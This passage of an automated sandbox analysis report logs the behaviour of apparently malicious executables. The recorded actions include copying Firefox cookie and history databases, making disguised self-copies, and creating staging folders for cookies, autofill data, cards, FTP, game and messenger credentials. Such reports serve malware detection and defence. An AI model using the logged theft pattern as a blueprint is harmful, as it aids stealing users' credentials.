"HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")36:T580,"5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB")37:T473,"5Jy6wg6.exe" called "CopyFileW" to copy %TEMP%\IXP002.TMP\5Jy6wg6.exe to new location %LOCALAPPDATA%\MaxLoonaFest131\MaxLoonaFest131.exe (UID: 00000000-00005528) "5Jy6wg6.exe" called "CopyFileW" to copy %TEMP%\IXP002.TMP\5Jy6wg6.exe to new location %TEMP%\FANBooster131\FANBooster131.exe (UID: 00000000-00005528) "5Jy6wg6.exe" called "CopyFileW" to copy %TEMP%\IXP002.TMP\5Jy6wg6.exe to new location %ALLUSERSPROFILE%\OfficeTrackerNMP131\OfficeTrackerNMP131.exe (UID: 00000000-00005528) "5Jy6wg6.exe" called "CopyFileW" to copy %APPDATA%\Mozilla\Firefox\Profiles\mj0wtyin.default-1692790883487\places.sqlite to new location %TEMP%\tempAVSnBPO13DQmhKZ\QrSqqoFCwmeJplaces.sqlite (UID: 00000000-00005528) "5Jy6wg6.exe" called "CopyFileW" to copy %APPDATA%\Mozilla\Firefox\Profiles\mj0wtyin.default-1692790883487\cookies.sqlite to new location %TEMP%\tempAVSnBPO13DQmhKZ\KUpJwynI8W3Jcookies.sqlite (UID: 00000000-00005528) "5Jy6wg6.exe" called "CopyFileW" to copy %APPDATA%\Mozilla\Firefox\Profiles\mj0wtyin.default-1692790883487\places.sqlite to new location %TEMP%\tempAVSnBPO13DQmhKZ\W04lvDggYnTWplaces.sqlite (UID: 00000000-00005528)38:Tb70,"5Jy6wg6.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\MaxLoonaFest131 (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\FANBooster131 (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\OfficeTrackerNMP131 (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempAVSnBPO13DQmhKZ (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Cookies (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Autofill (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Downloads (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\CC (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\GoogleAccounts (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\FTP (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\FTP\FileZilla (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\FTP\TotalCommander (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\Growtopia (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\Minecraft (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\TLauncher (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\FeatherClient (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\LunarClient (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\Battle.net (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Games\Steam (UID: 00000000-00005528) "5Jy6wg6.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMSnBPO13DQmhKZ\Messengers (UID: 00000000-00005528)39:T7b8c,"dcb10b49c7d8d03b15484c3ca04e7086.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005184) "dcb10b49c7d8d03b15484c3ca04e7086.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005184) "dcb10b49c7d8d03b15484c3ca04e7086.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005184) "dcb10b49c7d8d03b15484c3ca04e7086.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005184) "dcb10b49c7d8d03b15484c3ca04e7086.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005184) "tv5xp30.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005220) "tv5xp30.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005220) "tv5xp30.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005220) "tv5xp30.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005220) "tv5xp30.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005220) "AD1Sg20.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005176) "AD1Sg20.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005176) "AD1Sg20.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005176) "AD1Sg20.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005176) "AD1Sg20.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005176) "2kJ9830.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter %TEMP%\IXP002.TMP\2kJ9830.exe (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter api-ms-win-core-sysinfo-l1-2-1 (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter IMM32.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter comctl32 (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\ieproxy.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter iertutil.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-1 (UID: 00000000-00005160) "2kJ9830.exe" called "LoadLibrary" with a parameter ext-ms-win-kernel32-package-current-l1-1-0 (UID: 00000000-00005160) "5Jy6wg6.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter SHFolder.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %TEMP%\IXP002.TMP\5Jy6wg6.ENU (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %TEMP%\IXP002.TMP\5Jy6wg6.EN (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.CSharp\f73f48afb5512225dedaee9c88ac5050\Microsoft.CSharp.ni.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\shdocvw.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %TEMP%\IXP002.TMP\sqlite3 (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter sqlite3 (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter RASMAN.DLL (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter rtutils.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\cryptnet.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter cryptnet.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter SensApi.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter profapi.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter setupapi.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter Cabinet.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter DEVRTL.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Dynamic\b7ad5353ae4f44df28ce7ebc9a8a752a\System.Dynamic.ni.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Data\df2dd09ed7c341842a104e1e668f184e\System.Data.ni.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter vaultcli.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\e114780fd3ea5727401c06ea4f22ef35\System.Management.ni.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter ucrtbase_clr0400.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter dwrite.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %TEMP%\IXP002.TMP\setupapi.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %TEMP%\IXP002.TMP\winbrand.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter winbrand.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Branding\Basebrd\Basebrd.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter 5Jy6wg6.exe (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00005528) "5Jy6wg6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 